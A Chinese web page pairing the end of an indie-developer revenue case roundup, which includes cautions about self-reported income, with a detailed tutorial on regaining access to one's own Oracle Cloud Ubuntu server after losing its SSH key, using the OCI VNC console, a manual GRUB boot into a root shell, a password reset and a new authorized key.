    来源〔V03-04〕:Reddit,作者 deepaks612,原帖《My one-time $4.99 Mac app hit 105 sales in its first 4 weeks. Here’s where they came from》。来源〔V03-05〕:iKnowMyMac 产品官网。核查日期:2026年11月2日。销售数字为作者自述。

    03|Dotstore:18天约 $600,先拆开订阅与广告

    作者 h29rp 在 Reddit 称,其产品发现平台 Dotstore 上线18天收入约 $600,来自 Pro 付费和广告,未花费广告投放预算。他提到持续在 X 发布、做搜索优化、与用户沟通及早期折扣,并称冷邮件回复率低、耗时较多。本次可打开产品官网,收入仍按作者自述处理。

    关键口径:这笔钱是上线18天的累计总收入,不是月经常性收入。订阅和广告收入没有完整拆分,折扣后的原价续费也未验证;“零广告支出”不等于没有获客劳动、主机或其他经营成本。

    值得测试:将订阅、一次性展示或广告单独记账,观察每种收入对应的交付与服务责任。对首批折扣客户,优先验证使用、续费和退款,而不是把短期首付直接外推为稳定月收入。

    风险与局限:平台收取推广费用时,应清楚区分广告位与普通推荐,核实被展示项目,不将付费曝光包装成收入认证。作者的增长目标不是已实现结果,本篇没有采纳其未来收入预测,也不提供批量骚扰式获客步骤。

    来源〔V03-06〕:Reddit,作者 h29rp,原帖《My app got $600 revenue in just 18 days of launch.》。来源〔V03-07〕:Dotstore 产品官网。核查日期:2026年11月2日。

    三个可分享的问题,比收入标题更有价值

    • 代办服务卖得更贵之后,每小时实际收益是否提高?讨论工具销售、人工交付与服务范围。
    • 买断软件卖出105份,为什么不能当作105个持续订阅?讨论售出量、实收、退款与长期更新成本。
    • 18天约 $600,为什么不等于每月稳定赚 $1,000?讨论账期、收入类别、折扣与续费。

    以上问题是编辑提出的分析框架,不是已证实的增长因果。这些公开个案带有自我选择和营销动机,不能据此估计独立开发者的平均收益或成功概率。

    本周小实验:把收入、工时与履约分开记

    如果已经有产品或服务,可选最近一批获得授权的真实订单,分别记录一次性购买、订阅、广告和人工代办;再记录折扣、退款、平台扣费、交付工时与持续服务义务。涉及客户身份和付款信息时,用最少必要信息做内部复盘,不公开敏感明细。

    先找出一个能验证的问题:是价格不足以覆盖工时,还是曝光没有带来购买,或首付之后没有留存?没有订单时先验证需求,不用模拟交易或收入截图证明商业成立。

    来源、范围与人工审核说明

    本期以10月26日至11月1日的新复盘为观察窗口,检索结果标注的日期与原帖相对时间可能受缓存影响;统一以11月2日作为本次核查日期,不将抓取时间冒充精确发帖时间。未重复前两期十个案例。

    也检索了 X、Hacker News 和 Indie Hackers。本期可核对的三份新复盘来自 Reddit;帖子提及 X 获客不等于本次已打开对应 X 原帖。未把聚合站转述、过期访谈、收入预测或无原文的高收入故事纳入正式案例。

    引用说明:正文仅展示不可点击的来源名称、标题、作者、核查日期和编号。完整原始地址、证据局限及核验清单另行本地留存,不上传为公开附件;不通过短链、跳转页、二维码或隐藏地址引导外访。封面与正文图为本站原创程序绘制,未复制第三方截图或人物照片。

    本稿已对夸大收益、诈骗引流、隐私、版权、广告利益关系和外部资料风险进行编辑初筛,并参考《网络信息内容生态治理规定》《人工智能生成合成内容标识办法》及《互联网广告管理办法》(规则来源〔V03-08〕至〔V03-10〕,核查日期2026年11月2日)。来源标注不代表对项目主体资质或合法性的独立背书。本文由 AI 辅助编写,仅保存草稿,发布前仍需人工复核;具体站点资质及适用标识义务未作法律确认,也不能保证文章或站点不被反诈系统拦截。

  • Oracle Cloud 免费服务器 SSH 密钥丢失自救手册

    Windows + PuTTY + TigerVNC + GRUB 完整实战教程

    不用重装系统,不用删除实例,从无法 SSH 登录到恢复 Ubuntu 管理权限

    版本:V2.0|2026 年 10 月|达邦开发

    适用对象:Oracle Cloud Infrastructure(OCI)Ubuntu 云服务器用户


    写在前面:为什么要写这份教程?

    如果你正在使用 Oracle Cloud 的 Always Free 永久免费服务器,突然发现原来的 SSH 私钥丢失了,执行:

    ssh ubuntu@你的服务器IP
    

    却出现:

    Permission denied (publickey).
    
    

    此时可能会面临三个问题:

    1. 找不到创建服务器时下载的 SSH 私钥。
    2. 想通过 Oracle Cloud 控制台登录,却发现 Ubuntu 要求输入密码,而自己从来没有设置过密码。
    3. 不敢删除实例重新创建,因为 Oracle 免费服务器容量有限,重新创建未必能成功。

    这也是我实际遇到的问题。

    我使用 Windows,通过 Oracle Cloud 的 VNC 控制台,成功进入 Ubuntu 的 GRUB 引导程序,并在两台不同配置的 OCI 服务器上完成了 root 维护模式访问和密码恢复。

    这两台服务器存在明显差异:

    对比项 实例 A 实例 B
    GRUB 版本 2.12 2.06
    系统分区 gpt16 gpt1
    内核路径 /vmlinuz-... /boot/vmlinuz-...
    根分区 UUID 各自不同 各自不同
    恢复结果 成功进入 root 并重置密码 成功进入 root 并重置密码

    最终发现,真正关键的不是反复尝试重启,而是正确连接 VNC,并读取当前实例自己的 GRUB 配置,使用真实启动参数进入维护环境。

    本文按照新手能照着做的顺序编写,不要求读者提前掌握 GRUB 或 Linux 系统恢复知识。

    使用前请注意

    本教程仅适用于你本人或你已获得明确管理授权的服务器。

    需要能够登录 OCI 控制台,并对目标实例拥有控制台连接和重新引导权限。

    操作可能需要重启服务器,导致网站或业务暂时中断。涉及重要生产数据的实例,应先确认备份。

    本教程主要针对 Windows 操作端和 OCI 的 Ubuntu x86_64 实例,其他系统、ARM 实例、加密磁盘、特殊分区或自定义镜像需要单独判断。

    本教程不提供任何绕过 Oracle Cloud 平台账号认证的方法,也不保证所有实例都能使用 GRUB 恢复。


    第一章:先确认是不是 SSH 密钥问题

    步骤 1:测试服务器是否能连接

    在 Windows 中按 Win + R,输入:

    powershell
    

    回车,打开 PowerShell。

    输入:

    ssh ubuntu@<你的公网IP>
    

    如果显示:

    Permission denied (publickey).
    

    通常代表:

    • 已经联系到服务器上的 SSH 服务。
    • 服务器没有接受当前提供的 SSH 密钥。
    • 可能是密钥丢失、使用了错误的密钥,或者用户名不正确。

    请注意,这与网络连接超时不一样。

    如果显示:

    Connection timed out
    

    或者:

    Connection refused
    

    应先检查服务器运行状态、SSH 服务、安全规则和公网 IP,而不是直接执行密码恢复。

    步骤 2:先寻找原来的私钥

    如果原来的私钥还在,根本不需要进行后面的复杂操作。

    在 PowerShell 执行:

    Get-ChildItem "$env:USERPROFILE\.ssh"
    

    也可以检查 Windows 的下载目录。

    常见私钥文件可能叫:

    ssh-key-2024-xx-xx.key
    id_rsa
    id_ed25519
    oracle.key
    

    如果使用过 WSL,还要检查 Linux 下的:

    ls -lah ~/.ssh/
    

    找到疑似私钥后,可以尝试:

    ssh -o IdentitiesOnly=yes -i "你的私钥完整路径" ubuntu@<公网IP>
    

    如果成功登录,到这里就结束。

    不要把私钥上传到网络论坛、技术群或发给陌生人。


    第二章:准备需要的软件

    本次恢复使用三个工具。

    工具 作用 是否必须
    PuTTY / Plink 建立 Oracle 控制台的 SSH 隧道 Windows 方案需要
    PuTTYgen 生成或转换 .ppk 私钥 根据密钥格式决定
    TigerVNC Viewer 显示远程服务器的启动和控制台画面 VNC 方案需要

    步骤 3:安装 PuTTY

    打开 Windows PowerShell:

    winget install --id PuTTY.PuTTY -e
    

    安装完成后,重新打开 PowerShell。

    验证:

    & "C:\Program Files\PuTTY\plink.exe" -V
    

    如果显示 Plink 版本号,说明安装成功。

    如果直接执行:

    plink.exe -V
    

    出现找不到命令,可以在当前 PowerShell 中执行:

    $env:Path += ";C:\Program Files\PuTTY"
    

    再试一次。

    注意,plink.exe 是 PuTTY 安装包中的命令行工具,不是 Windows 自带命令。

    官方下载地址:

    https://www.chiark.greenend.org.uk/~sgtatham/putty

    步骤 4:安装 TigerVNC Viewer

    访问:

    https://github.com/TigerVNC/tigervnc/releases

    选择适合 Windows 的 TigerVNC Viewer 安装程序。

    安装后,找到 TigerVNC Viewer。

    现在先不用打开,后面建立 SSH 隧道后才需要使用。

    无需在 Oracle 云服务器内部安装 TigerVNC Server。 我们使用的是 Oracle 平台提供的实例 VNC 控制台,不是自己安装的远程桌面服务。


    第三章:在 Oracle Cloud 创建控制台连接

    步骤 5:进入目标实例

    登录:

    https://cloud.oracle.com

    打开:

    计算(Compute) → 实例(Instances)

    选择无法 SSH 登录的目标服务器。

    首先核对:

    • 实例名称。
    • 系统类型。
    • 公网 IP。
    • 当前运行状态。
    • 所在区域。

    不要直接选择第一台看到的实例,尤其当账户下有多台服务器时。

    步骤 6:找到控制台连接

    在实例详情页面中寻找:

    操作系统管理 → 控制台连接

    不同版本的 Oracle UI,也可能将其放在实例资源列表中。

    找到:

    创建本地连接
    启动 Cloud Shell 连接
    

    这里需要理解一个区别。

    Cloud Shell 连接并不等于已经取得 Ubuntu 系统权限。

    Cloud Shell 进入串行控制台后,仍可能看到:

    ubuntu login:
    Password:
    

    Oracle Ubuntu 云镜像通常默认没有设置可供直接输入的系统密码,所以仅仅创建 Cloud Shell 连接,不能解决原密码丢失问题。

    本教程选择另一条已实测的路线:使用 Windows + Plink + TigerVNC。

    步骤 7:创建控制台 RSA 密钥

    在 Windows PowerShell 执行:

    ssh-keygen -t rsa -b 4096 -f "$env:USERPROFILE\.ssh\oci-console-rsa"
    

    系统会创建:

    oci-console-rsa
    oci-console-rsa.pub
    

    前者是私钥,后者是公钥。

    回到 Oracle「创建控制台连接」,选择:

    上传公共密钥文件 (.pub)
    

    上传:

    C:\Users\你的用户名\.ssh\oci-console-rsa.pub
    

    点击创建。

    等待控制台连接的状态显示:

    活动 / Active
    

    为什么使用 RSA?

    在本次实测中,上传 Ed25519 公钥到 Oracle 控制台连接时出现:

    Invalid ssh public key type "ssh-ed25519"
    

    改成 RSA 公钥后成功创建了连接。

    注意,这是控制台连接密钥的兼容性问题,不代表 Ubuntu 普通 SSH 登录不能使用 Ed25519。

    步骤 8:将 RSA 私钥转换为 PPK

    Windows Plink 通常使用 PuTTY 私钥格式 .ppk。

    打开安装好的 PuTTYgen:

    1. 点击 Load。
    2. 文件类型选 All Files。
    3. 打开 oci-console-rsa 私钥。
    4. 点击 Save private key。
    5. 保存为 oci-console-rsa.ppk。

    现在应该有:

    oci-console-rsa
    oci-console-rsa.pub
    oci-console-rsa.ppk
    
    

    三者的作用分别是:

    • oci-console-rsa:OpenSSH 格式私钥。
    • oci-console-rsa.pub:上传 Oracle 的公钥。
    • oci-console-rsa.ppk:Windows Plink 用的私钥。

    如果 PuTTYgen 提示设置私钥口令,建议设置并安全保存。后续 Plink 连接可能要求输入这个口令。

    千万不要把 .pub 当成私钥,也不要把 .ppk 上传到 Oracle 的公钥上传框。


    第四章:使用 Windows 建立 VNC 控制台连接

    这一章是新手最容易卡住的部分。

    步骤 9:复制 Oracle 官方连接命令

    回到 Oracle 控制台连接列表。

    在状态为「活动」的那一行,点击右侧三个点 ⋮。

    选择:

    复制 Windows 的 VNC 连接
    

    把命令先粘贴到记事本。

    Oracle 生成的命令一般包含:

    Start-Job { ... }
    sleep 5
    plink.exe ...
    

    其本质是建立两段 SSH 隧道:

    Windows
       ↓ TCP 443
    Oracle 控制台代理
       ↓
    本地 5905 隧道
       ↓
    第二段 SSH 连接
       ↓
    本地 VNC 5900
       ↓
    TigerVNC
    

    Oracle 会自动生成属于你这台服务器的实例标识。

    一定使用你自己的 Oracle 控制台生成的连接标识,不要复制其他人的 OCID。

    步骤 10:检查私钥路径

    Oracle 原始命令可能使用:

    $env:homedrive$env:homepath\oci\console.ppk
    

    这个路径不一定存在。

    执行:

    Test-Path "$env:USERPROFILE\.ssh\oci-console-rsa.ppk"
    

    正常应该显示:

    True
    

    如果显示 False,说明路径不对,请重新检查文件位置。

    步骤 11:建立第一段 SSH 隧道

    为了方便排查,我们不要直接运行 Oracle 的后台任务,而是分开执行两段命令。

    新开一个 PowerShell 窗口。

    首先,根据 Oracle 自动生成的命令,填写以下三个变量:

    $key = "$env:USERPROFILE\.ssh\oci-console-rsa.ppk"
    
    $console = "这里填写你的 instanceconsoleconnection OCID"
    
    $instance = "这里填写你的 instance OCID"
    

    例如,两种 OCID 的格式分别是:

    ocid1.instanceconsoleconnection.oc1....
    ocid1.instance.oc1....
    

    然后执行:

    plink.exe -v -i $key -N -ssh -P 443 `
      -l $console `
      -L "5905:${instance}:5905" `
      instance-console.<你的OCI区域>.oci.oraclecloud.com
    

    其中最后一行的服务器地址,也必须使用 Oracle 自动生成命令中的实际地址。

    例如韩国春川区域的地址是:

    instance-console.ap-chuncheon-1.oci.oraclecloud.com
    

    如果连接成功,可以看到:

    Offer of public key accepted
    Access granted
    Local port 5905 forwarding to ...
    

    不要关闭这个 PowerShell 窗口。

    如果首次连接时要求确认远端 SSH 主机指纹,请核对指纹来源后再接受,不能盲目输入 y。

    步骤 12:验证第一段隧道

    再打开一个 PowerShell 窗口:

    Get-NetTCPConnection -LocalPort 5905 -State Listen
    

    正常应该有监听记录。

    如果没有输出,说明第一段隧道没有正确建立。

    请回到第一个窗口,检查报错。

    步骤 13:建立第二段 SSH 隧道

    保持第一段窗口运行。

    在第二个 PowerShell 中执行:

    $key = "$env:USERPROFILE\.ssh\oci-console-rsa.ppk"
    
    $instance = "这里填写与第一段相同的 instance OCID"
    

    然后执行:

    plink.exe -v -i $key -N -ssh -P 5905 `
      -l $instance `
      -L 5900:localhost:5900 `
      localhost
    

    成功后应该看到:

    Offer of public key accepted
    Access granted
    Local port 5900 forwarding to localhost:5900
    

    这个窗口也不要关闭。

    步骤 14:测试 VNC 本地端口

    打开第三个 PowerShell:

    Test-NetConnection 127.0.0.1 -Port 5900
    

    如果输出:

    TcpTestSucceeded : True
    

    说明本地端口可以连接。

    但这只能证明本地 TCP 端口可连接,不能单独证明远端 VNC 图像已经能正常传输。

    步骤 15:打开 TigerVNC

    运行 TigerVNC Viewer。

    在服务器地址中填写:

    127.0.0.1::5900
    

    注意这里是两个英文冒号。

    点击 Connect。

    如果一切正常,你可能会看到:

    Ubuntu 24.04.1 LTS
    
    instance-xxxxx login:
    

    这表示 VNC 已经成功显示 Ubuntu 的本机控制台。

    此时还没有恢复系统密码,不用在这里不断尝试猜测密码。


    第五章:进入 GRUB 启动程序

    接下来,我们需要让 Ubuntu 临时进入维护模式。

    步骤 16:正常重新引导服务器

    保持两个 Plink 窗口和 TigerVNC 打开。

    返回 OCI 实例详情。

    点击:

    操作 → 重新引导
    

    这里「重新引导」就是 Reboot。

    选择正常重新引导,不要选择「终止实例」,也不要误点「替换引导卷」。

    重启会中断实例正在运行的服务,重要系统请先完成备份或安排停机窗口。

    步骤 17:观察 UEFI 启动画面

    TigerVNC 会显示服务器启动过程。

    常见画面之一:

    TianoCore
    Loading Boot0004 "Ubuntu"
    

    这说明服务器正在启动 Ubuntu。

    此时可以尝试按 Esc,或轻按方向下键,以中断 GRUB 自动启动。

    某些情况下,过早按 Esc 会进入 UEFI 固件设置页面:

    Device Manager
    Boot Manager
    Boot Maintenance Manager
    Continue
    Reset
    

    这不是 GRUB。

    如果进入这个页面:

    1. 用方向键选择 Boot Manager。
    2. 按 Enter。
    3. 选择 Ubuntu 启动项。
    4. 再尝试在 GRUB 阶段中断自动启动。

    不要修改固件的磁盘启动顺序。

    步骤 18:识别 GRUB 的两种界面

    第一种是正常的 GRUB 菜单:

    GNU GRUB
    
    * Ubuntu
      Advanced options for Ubuntu
    

    如果看到这个菜单,可以选中 Ubuntu 并按 e 编辑启动参数。

    第二种是 GRUB 命令行:

    GNU GRUB version 2.xx
    
    grub>
    

    我们两台服务器的成功恢复,主要使用了第二种方式。

    如果你也看到 grub>,可以直接继续第六章。

    不要急着输入:

    normal
    

    因为它可能直接按默认配置启动 Ubuntu,又回到需要密码的登录页面。


    第六章:从 GRUB 找到自己服务器的启动参数

    这一章最重要。

    这里教你一种通用思路,解决不同实例使用不同磁盘分区、内核版本和 UUID 的问题。

    步骤 19:查看 GRUB 当前参数

    在:

    grub>
    

    后面输入:

    set
    

    按 Enter。

    重点寻找:

    prefix=(hd0,gptX)/...
    root=hd0,gptX
    

    其中 gptX 的 X 可能是 1、15、16,也可能是其他数字。

    这是当前服务器自己的分区信息。

    然后执行:

    ls
    

    可能看到:

    (proc) (memdisk) (hd0) (hd0,gpt1)
    

    也可能看到:

    (proc) (memdisk) (hd0) (hd0,gpt16) ...
    

    不要把别人服务器的 gpt16 当成自己服务器的分区。

    步骤 20:查看分区目录

    以实际 root 变量为准。

    假设它是:

    (hd0,gpt1)
    

    输入:

    ls (hd0,gpt1)/
    

    如果看到:

    bin/ boot/ dev/ etc/ home/ usr/ var/
    

    说明这是 Linux 根目录的有力线索。

    继续:

    ls (hd0,gpt1)/boot/
    

    如果当前是:

    (hd0,gpt16)
    

    则需要按该分区实际文件布局查看。

    可能直接执行:

    ls (hd0,gpt16)/
    

    就能找到内核文件。

    步骤 21:找到内核和 initrd

    常见内核文件:

    vmlinuz-5.15.0-1081-oracle
    vmlinuz-7.0.0-1013-oracle
    

    常见 initrd 文件:

    initrd.img-5.15.0-1081-oracle
    initrd.img-7.0.0-1013-oracle
    

    这些只是我们两次实测遇到的版本。

    你的服务器可能使用其他版本。

    内核文件和对应的 initrd 应使用同一版本。

    步骤 22:开启 GRUB 分页

    由于 TigerVNC 不是普通的滚动终端,输出过长时很容易看不到前面的内容。

    在 grub> 输入:

    set pager=1
    

    验证:

    echo $pager
    

    应输出:

    1
    

    之后执行:

    cat $prefix/grub.cfg
    

    当看到:

    --MORE--
    

    说明分页已经生效。

    操作方式:

    • Space:下一屏。
    • Enter:往下显示一行。

    不要一直长按空格,否则可能错过关键配置。

    步骤 23:找到启动项

    翻阅配置,直到看到:

    ### BEGIN /etc/grub.d/10_linux ###
    

    继续往下,找第一条默认 Ubuntu 启动项。

    通常类似:

    menuentry 'Ubuntu' ...
    

    其后会有:

    linux /boot/vmlinuz-版本 root=UUID=实际UUID ro ...
    

    以及:

    initrd /boot/initrd.img-版本
    

    有些服务器的路径不是 /boot/vmlinuz,而是直接 /vmlinuz。

    必须以当前配置实际写的路径为准。

    如果 GRUB 把一行长命令自动折成两行,那只是屏幕宽度不够,并不意味着原命令中有换行。

    现在记录三个关键信息:

    要记录的内容 示例
    内核路径 /boot/vmlinuz-版本
    根分区 UUID xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
    initrd 路径 /boot/initrd.img-版本

    这三项记录准确后,才能进入下一步。


    第七章:进入 Ubuntu root 维护模式

    这一章提供两种实例布局的已验证示例。

    请根据自己在第六章读到的配置填写,不要把示例直接当作通用命令。

    场景 A:内核位于 /boot 目录

    第二台实测服务器就是这种结构。

    GRUB 分区类似:

    (hd0,gpt1)
    

    内核:

    /boot/vmlinuz-5.15.0-1081-oracle
    

    initrd:

    /boot/initrd.img-5.15.0-1081-oracle
    

    在 grub> 依次执行:

    第一条:

    set root=(hd0,gpt1)
    

    第二条:

    linux /boot/vmlinuz-5.15.0-1081-oracle root=UUID=你自己查到的UUID rw init=/bin/bash console=tty1
    

    第三条:

    initrd /boot/initrd.img-5.15.0-1081-oracle
    

    第四条:

    boot
    

    注意第二条中的 root=UUID= 必须替换为真实值,中间不能留中文占位文字。

    在本次实测中,这一组结构成功进入了维护模式。

    场景 B:内核位于分区根目录

    第一台实测服务器属于这种结构。

    GRUB 分区类似:

    (hd0,gpt16)
    

    内核:

    /vmlinuz-7.0.0-1013-oracle
    

    initrd:

    /initrd.img-7.0.0-1013-oracle
    

    对应命令:

    set root=(hd0,gpt16)
    
    linux /vmlinuz-7.0.0-1013-oracle root=UUID=你自己查到的UUID rw init=/bin/bash console=tty1
    
    initrd /initrd.img-7.0.0-1013-oracle
    
    boot
    

    同样需要替换为自己实例的真实 UUID 和内核版本。

    为什么要使用这些参数?

    • linux:指定要启动的 Linux 内核。
    • root=UUID=...:告诉 Linux 真正的系统根分区在哪里。
    • rw:允许以读写方式挂载根文件系统。
    • init=/bin/bash:使用 Bash 作为初始进程,进入维护环境。
    • console=tty1:让控制台输出适合当前的 VNC 场景。
    • initrd:加载与内核匹配的初始内存盘。
    • boot:开始启动。

    对于具有特殊存储、加密磁盘或其他必需内核参数的实例,需要保留原启动配置中的相应参数,不能无条件简化成以上示例。

    步骤 24:确认是否成功

    成功时会看到 Ubuntu 启动日志,最终出现:

    root@(none):/#
    

    或者:

    root@主机名:/#
    

    有时也会显示:

    bash: cannot set terminal process group
    bash: no job control in this shell
    

    这类信息在 init=/bin/bash 环境中可能出现,不一定代表启动失败。

    关键是能否看到 root shell,并正常执行命令。

    注意:这是操作系统恢复 Shell,并不代表普通 Ubuntu 服务已经启动。此时不要运行需要 systemd、完整网络或后台服务的普通业务命令。


    第八章:重置 Ubuntu 登录密码

    步骤 25:将系统挂载为可写

    进入 root shell 后,执行:

    mount -o remount,rw /
    

    确认:

    findmnt -no OPTIONS /
    

    输出中应包含 rw。

    如果挂载失败或文件系统报错,先停止操作,不能强行继续写入。

    步骤 26:确认 Ubuntu 用户

    执行:

    id ubuntu
    

    如果显示用户 UID、GID 等信息,说明存在 ubuntu 用户。

    如果没有这个用户,应检查镜像类型,不能盲目执行后续命令。

    步骤 27:重设密码

    执行:

    passwd ubuntu
    

    屏幕出现:

    New password:
    

    输入新密码,按 Enter。

    然后:

    Retype new password:
    

    再次输入。

    Linux 输入密码时通常不会显示任何字符或星号,这是正常现象。

    成功后会显示:

    passwd: password updated successfully
    

    到这里,Ubuntu 的本机控制台登录密码已经恢复。

    但注意:

    设置 Ubuntu 密码,不等于自动开启 SSH 密码登录。

    如果原服务器 SSH 配置只允许公钥认证,普通 SSH 仍然需要下一章的新密钥。


    第九章:恢复正常 SSH 密钥登录

    这一步建议在维护模式中完成,再重新启动服务器。

    步骤 28:Windows 生成新的 SSH 密钥

    在 Windows PowerShell 执行:

    ssh-keygen -t ed25519 -f "$env:USERPROFILE\.ssh\oci-ssh-recovery"
    

    生成:

    oci-ssh-recovery
    oci-ssh-recovery.pub
    

    其中:

    • oci-ssh-recovery:新私钥。
    • oci-ssh-recovery.pub:新公钥。

    这把密钥用于正常 Ubuntu SSH 登录,与前面建立 Oracle VNC 控制台连接的 RSA 密钥是两回事。

    读取公钥:

    Get-Content "$env:USERPROFILE\.ssh\oci-ssh-recovery.pub"
    

    复制完整的一行,通常以:

    ssh-ed25519 AAAA...
    

    开头。

    步骤 29:在 Ubuntu 维护环境中创建授权目录

    在 TigerVNC 的 root shell 执行:

    install -d -m 700 -o ubuntu -g ubuntu /home/ubuntu/.ssh
    

    该命令用于创建 SSH 目录并设置所属用户与权限。

    如果 .ssh 已存在,也应保留其中原有文件,不要删除。

    步骤 30:添加新公钥

    执行:

    cat >> /home/ubuntu/.ssh/authorized_keys
    

    按 Enter。

    然后输入完整的新公钥,输入完成后按 Enter,再按 Ctrl + D 结束输入。

    这里有一个实际操作时很容易遇到的问题:

    TigerVNC 的文本控制台不一定支持 Windows 剪贴板直接粘贴。

    不要以为 Ctrl+V 没有反应就代表密钥有问题。

    如果无法可靠粘贴,可以使用 VNC 客户端支持的键盘输入方式,或在后续恢复本机密码登录后,通过能够正常传输文本的授权终端完成公钥配置。

    不要把私钥内容输入服务器,也不要使用不可信的在线剪贴板服务传输密码或私钥。

    步骤 31:设置授权文件权限

    执行:

    chown ubuntu:ubuntu /home/ubuntu/.ssh/authorized_keys
    chmod 600 /home/ubuntu/.ssh/authorized_keys
    chmod 700 /home/ubuntu/.ssh
    

    检查:

    ls -lah /home/ubuntu/.ssh/
    

    确认:

    authorized_keys
    

    存在,且由 ubuntu 用户拥有。

    注意:使用的是追加方式,原有密钥仍然保留。

    如果希望删除旧密钥,应该在恢复并验证新的 SSH 登录后单独处理,避免再次把自己锁在系统外。


    第十章:安全重启并验证恢复结果

    步骤 32:同步磁盘写入

    在 root 维护 Shell 执行:

    sync
    

    这一步很重要,因为当前处于特殊的维护环境。

    步骤 33:重新启动

    由于使用了 init=/bin/bash,完整的 systemd 服务没有启动,普通 systemctl reboot 未必可用。

    本次实测路线可以在文件写入完成后使用:

    /sbin/reboot -f
    

    这属于强制重启方式,可能带来文件系统一致性风险,所以必须确保密码和密钥写入已经完成,并先执行 sync。

    对于重要生产系统,优先考虑当前环境是否存在更安全的正常退出和重启方法。

    步骤 34:验证系统控制台密码

    Ubuntu 正常启动后,TigerVNC 可能重新显示:

    主机名 login:
    

    输入:

    ubuntu
    

    然后输入新密码。

    如果能够成功登录,说明本机登录权限恢复成功。

    步骤 35:测试正常 SSH

    在 Windows PowerShell 中运行:

    ssh -o IdentitiesOnly=yes -i "$env:USERPROFILE\.ssh\oci-ssh-recovery" ubuntu@<你的服务器公网IP>
    

    如果成功进入 Ubuntu shell,说明 SSH 密钥恢复也完成了。

    建议立即执行:

    whoami
    

    确认当前用户为:

    ubuntu
    

    再检查:

    sudo systemctl status ssh
    

    确认 SSH 服务运行状态。

    最后测试需要的 sudo 权限,检查原来的业务服务是否正常。

    当控制台密码和新 SSH 密钥都验证成功后,才算真正完成恢复。


    第十一章:多台服务器操作时,防止 VNC 端口冲突

    这也是第二台服务器实测遇到的关键教训。

    如果你还保留着第一台服务器的 Plink 连接,就不要直接为第二台重复使用本地 5905 和 5900。

    因为可能出现本地端口已被占用,甚至 VNC 显示的不是你以为的那台实例。

    可以分配不同端口:

    端口 服务器 A 服务器 B
    第一段本地 SSH 隧道 5905 5915
    第二段本地 VNC 隧道 5900 5910

    第二台的第一段命令,将本地监听端口改为 5915:

    -L "5915:${instance}:5905"
    

    注意右侧远端仍是 Oracle 原始命令指定的 5905。

    第二段改成:

    plink.exe -v -i $key -N -ssh -P 5915 `
      -l $instance `
      -L 5910:localhost:5900 `
      localhost
    

    TigerVNC 则连接:

    127.0.0.1::5910
    

    多实例环境下,务必先确认 VNC 里显示的主机名确实属于目标服务器,避免重启或修改错误实例。


    第十二章:常见问题与解决方法

    Q1:执行 Plink,提示找不到 plink.exe

    报错:

    plink.exe is not recognized
    

    原因通常是没有安装 PuTTY,或者安装路径未加入 PATH。

    重新安装 PuTTY,或者使用它的完整路径执行即可。

    Q2:Connection refused

    如果第二段 SSH 隧道出现:

    Network error: Connection refused
    

    优先检查第一段隧道是否成功。

    执行:

    Get-NetTCPConnection -LocalPort 5905 -State Listen
    

    如果没有监听,第二段通常无法连接。

    如果已监听,进一步查看第一段 Plink 的 -v 日志,判断远端连接和认证是否真正正常。

    Q3:Test-NetConnection 返回 True,但 VNC 仍然连不上

    TcpTestSucceeded : True 只能证明本地 TCP 端口可以连接。

    还需要检查:

    • 第一段 SSH 是否认证成功。
    • 第二段 SSH 是否认证成功。
    • VNC 端口是否属于正确的实例。
    • TigerVNC 是否使用正确的本地地址。
    • 两个 Plink 窗口是否还在运行。

    Q4:Oracle 显示 Invalid ssh public key type

    例如:

    Invalid ssh public key type "ssh-ed25519"
    

    本次操作中,改用 RSA 4096 位公钥成功解决。

    建议区分 Oracle 控制台连接密钥与普通服务器 SSH 登录密钥,不要混为一谈。

    Q5:进入 Cloud Shell 后要求 Ubuntu 密码

    说明你连接到了 Ubuntu 控制台,但还没有获得系统登录权限。

    OCI 的控制台连接密钥只用于连接控制台,不会自动修改 Ubuntu 用户密码。

    如果原本没有设置密码,需要按照本文通过 GRUB 恢复。

    Q6:为什么一直看不到 GRUB 菜单?

    因为有些 OCI Ubuntu 镜像默认设置:

    set timeout_style=hidden
    set timeout=0
    

    会直接启动默认系统。

    可以尝试在启动过程中中断 GRUB。

    如果进入:

    grub>
    

    不需要非得恢复可视化菜单,可以按照本文直接读取启动配置、手动加载内核进入维护 Shell。

    Q7:输入 normal 后直接进入 login

    这是正常启动逻辑的一种表现。

    normal 会尝试恢复 GRUB 的正常启动流程,但如果配置为零等待,就可能直接启动 Ubuntu。

    此时重新进入 grub>,使用手动引导方法,不必重复依赖 normal。

    Q8:为什么别人的 gpt16 在我这里找不到?

    报错:

    error: disk 'hd0,gpt16' not found
    

    说明你自己的磁盘分区和对方不同。

    使用:

    ls
    

    以及:

    set
    

    查找当前机器的真实分区。

    不要继续使用别人的磁盘路径。

    Q9:如何查看很长的 GRUB 配置?

    输入:

    set pager=1
    

    再输入:

    cat $prefix/grub.cfg
    

    看到 --MORE-- 后,可以用空格翻页、Enter 逐行查看。

    重点找 10_linux 段中默认启动项的 linux 和 initrd。

    Q10:怎么确认 Linux 内核版本?

    使用:

    ls (hd0,gptX)/boot/
    

    或查看实际分区根目录。

    然后从 grub.cfg 中确定默认启动项正在使用的版本。

    不要盲目选择版本号最大的内核。

    Q11:执行 linux 命令报 file not found

    通常是:

    • 路径写错。
    • 分区选错。
    • 内核文件名写错。
    • 当前分区存在 /boot 目录,但实际内核路径却不包含 /boot,或者相反。

    重新执行:

    ls $root/
    

    并检查配置中的准确内核路径。

    Q12:密码重置了,为什么 SSH 还提示 publickey?

    因为 SSH 密码认证和系统本机密码是两回事。

    默认的 Ubuntu 云服务器通常主要使用 SSH 公钥认证。

    必须确认新的公钥已经正确加入:

    /home/ubuntu/.ssh/authorized_keys
    

    并且 SSH 服务、用户、目录权限都正确。

    不建议为了恢复方便,长期打开公网 SSH 密码认证。

    Q13:如果没有办法进入 grub> 怎么办?

    可以考虑 Oracle 官方的启动卷恢复方案:

    1. 备份启动卷。
    2. 准备可用的辅助 Linux 实例。
    3. 停止原实例。
    4. 分离原启动卷。
    5. 挂载到辅助实例。
    6. 修改原系统的 authorized_keys。
    7. 安全卸载并重新挂回原实例。
    8. 启动原实例,验证 SSH。

    这是一条备选路线,不是本文两台实测服务器使用的最终方案。

    执行之前必须核对资源配额、可用性域、启动卷附件方式和数据保护要求。

    对于 Oracle Always Free 用户,不能为了恢复而随意删除实例重新创建。


    第十三章:恢复成功后的安全检查

    建议按照以下清单逐项确认。

    可以通过新密码登录 Ubuntu 本机控制台。
    
    可以通过新 SSH 私钥正常登录服务器。
    
    `/home/ubuntu/.ssh/authorized_keys` 权限正确。
    
    已确认 SSH 服务运行正常。
    
    已确认网站、数据库及其他服务正常运行。
    
